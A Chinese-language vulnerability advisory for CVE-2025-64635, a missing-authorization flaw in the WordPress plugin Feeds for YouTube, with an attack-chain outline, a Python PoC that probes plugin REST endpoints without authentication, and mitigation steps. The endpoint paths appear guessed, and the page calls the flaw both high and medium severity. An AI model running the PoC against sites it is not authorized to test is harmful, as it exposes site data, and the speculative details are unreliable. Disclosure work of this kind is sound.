IPBUF安全漏洞报告
English
CVE-2025-64635 CVSS 5.3 中危

CVE-2025-64635 WordPress Feeds for YouTube插件缺失授权漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-64635
漏洞类型
缺失授权/访问控制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Feeds for YouTube (WordPress插件 by Syed Balkhi)

相关标签

CVE-2025-64635Missing AuthorizationWordPress插件漏洞Feeds for YouTube访问控制绕过REST API安全WordPress安全中危漏洞

漏洞概述

CVE-2025-64635是WordPress插件Feeds for YouTube中发现的一个高危安全漏洞,属于Missing Authorization(缺失授权)类型。该漏洞存在于插件的访问控制机制中,允许未授权用户访问本应需要认证才能访问的功能端点。攻击者可以利用此漏洞绕过正常的权限检查,直接调用插件的敏感API功能,包括但不限于获取YouTube频道信息、播放列表内容和订阅者数据等敏感信息。

该漏洞的影响范围覆盖了Feeds for YouTube插件从早期版本到2.4.0的所有版本。由于该插件被广泛应用于WordPress网站以集成YouTube内容,受影响网站数量众多。漏洞的CVSS评分为5.3,属于中等严重程度,但考虑到其无需认证即可利用的特性,在实际环境中具有较高的利用价值。

攻击者无需获取任何用户凭证或管理员权限,仅需构造特定的HTTP请求即可触发漏洞。这种无认证利用方式大大降低了攻击门槛,使得自动化扫描工具可以大规模发现和利用此漏洞。成功利用该漏洞可能导致敏感数据泄露,包括YouTube API密钥、频道配置信息等,进而可能被用于进一步的攻击活动。

技术细节

该漏洞的根本原因在于Feeds for YouTube插件的WordPress REST API端点缺少适当的权限检查。插件在注册自定义REST API路由时,未正确设置权限回调函数(permission_callback),导致所有API端点默认对所有用户可见,包括未登录的匿名用户。

技术层面上,插件使用WordPress的register_rest_route()函数注册API端点,但未指定或错误配置了permission_callback参数。在WordPress REST API架构中,permission_callback用于验证请求者是否具有执行特定操作的权限。当此参数缺失或返回true时,任何请求都会被允许通过,包括来自未认证用户的请求。

受影响的API端点可能包括获取YouTube频道信息、获取播放列表内容、获取视频列表等敏感功能。攻击者可以通过发送未经认证的GET或POST请求到这些端点,获取本应受保护的数据。此外,某些端点可能支持数据修改操作,攻击者可能利用这些端点修改插件配置或执行其他未授权操作。

利用此漏洞的典型方式包括:使用curl或类似工具发送HTTP请求到插件的REST API端点,或使用自动化工具扫描并利用WordPress站点的此类漏洞。攻击者可以通过分析插件的JavaScript文件或源代码来识别可用的API端点和参数。

攻击链分析

STEP 1
步骤1
信息收集:攻击者通过扫描目标WordPress站点,识别安装了Feeds for YouTube插件的网站
STEP 2
步骤2
端点识别:分析插件的JavaScript文件或源代码,识别可用的REST API端点路径
STEP 3
步骤3
漏洞探测:向识别出的API端点发送未经认证的HTTP请求,验证端点是否可无认证访问
STEP 4
步骤4
数据获取:成功访问后,收集YouTube频道信息、播放列表、API配置等敏感数据
STEP 5
步骤5
权限提升/横向移动:利用获取的信息进行进一步攻击,可能包括修改插件配置或窃取API密钥

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64635 PoC - Feeds for YouTube Missing Authorization # Target: WordPress site with Feeds for YouTube plugin <= 2.4.0 import requests import json import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-64635 Missing Authorization in Feeds for YouTube plugin """ # Common WordPress REST API endpoints for the plugin endpoints = [ '/wp-json/feeds-for-youtube/v1/', '/wp-json/feeds-for-youtube/v1/channels', '/wp-json/feeds-for-youtube/v1/playlists', '/wp-json/feeds-for-youtube/v1/videos', '/wp-json/feeds-for-youtube/v1/settings' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-64635 - Missing Authorization Check") print("-" * 50) vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) print(f"\n[?] Endpoint: {endpoint}") print(f" Status: {response.status_code}") # Check if we get a successful response without authentication if response.status_code == 200: try: data = response.json() if data: print(f" [!] VULNERABLE - Received data without authentication") print(f" Response: {json.dumps(data, indent=2)[:500]}") vulnerable = True except: print(f" [!] VULNERABLE - Endpoint accessible without auth") vulnerable = True except requests.RequestException as e: print(f" [x] Error: {e}") print("\n" + "=" * 50) if vulnerable: print("[!] Target is VULNERABLE to CVE-2025-64635") print("[!] Plugin lacks proper authorization checks on REST API") else: print("[-] Target appears NOT vulnerable") return vulnerable if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ").strip() check_vulnerability(target)

影响范围

Feeds for YouTube <= 2.4.0

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 限制非管理员用户对/wp-admin/的访问;2) 使用Web应用防火墙(WAF)规则阻止对可疑API端点的访问;3) 监控访问日志,关注异常的REST API请求模式;4) 考虑使用第三方安全服务进行实时监控和威胁检测;5) 备份网站数据,以便在发生安全事件时能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表